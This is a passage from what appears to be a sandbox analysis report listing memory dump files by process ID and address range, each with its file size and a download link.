                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/2608-133-0x00007FFB87A70000-0x00007FFB87C65000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            2.0MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/2608-129-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/2608-127-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-17-0x0000000000400000-0x0000000000A4A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            6.3MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-21-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-24-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-26-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-28-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-25-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-23-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-22-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-92-0x0000000000400000-0x0000000000A4A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            6.3MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-20-0x0000000075D30000-0x0000000075D31000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-47-0x0000000000400000-0x0000000000A4A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            6.3MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-48-0x0000000004F40000-0x0000000004FDC000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            624KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-60-0x0000000000400000-0x0000000000A4A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            6.3MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3692-91-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-33-0x00000000051F0000-0x0000000005212000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-35-0x0000000005400000-0x0000000005466000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            408KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-105-0x0000000007800000-0x0000000007808000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            32KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-99-0x0000000007820000-0x000000000783A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            104KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-70-0x00000000076E0000-0x00000000076F1000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            68KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-68-0x0000000007760000-0x00000000077F6000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            600KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-67-0x0000000007560000-0x000000000756A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            40KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-65-0x0000000007B20000-0x000000000819A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            6.5MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-66-0x00000000074E0000-0x00000000074FA000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            104KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-52-0x0000000070C60000-0x0000000070CAC000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            304KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-95-0x0000000007730000-0x0000000007744000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-63-0x0000000007170000-0x000000000718E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            120KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-64-0x00000000073A0000-0x0000000007443000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            652KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-51-0x0000000007130000-0x0000000007162000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            200KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-50-0x0000000006260000-0x00000000062AC000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            304KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-29-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-19-0x0000000073C4E000-0x0000000073C4F000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-49-0x00000000061B0000-0x00000000061CE000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            120KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-110-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-94-0x0000000007720000-0x000000000772E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-46-0x0000000005C90000-0x0000000005FE4000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            3.3MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-30-0x0000000075D10000-0x0000000075E00000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            960KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-27-0x0000000002BD0000-0x0000000002C06000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            216KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-31-0x0000000005660000-0x0000000005C88000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            6.2MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/3964-34-0x0000000005390000-0x00000000053F6000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            408KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4044-0-0x0000000000400000-0x0000000000C31000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8.2MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4044-2-0x0000000000400000-0x0000000000C31000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8.2MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4044-1-0x0000000077A34000-0x0000000077A36000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4044-18-0x0000000000400000-0x0000000000C31000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8.2MB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-111-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-122-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-123-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-121-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-120-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-119-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-117-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-118-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-112-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                          • memory/4104-113-0x0000024756C10000-0x0000024756C11000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                            Download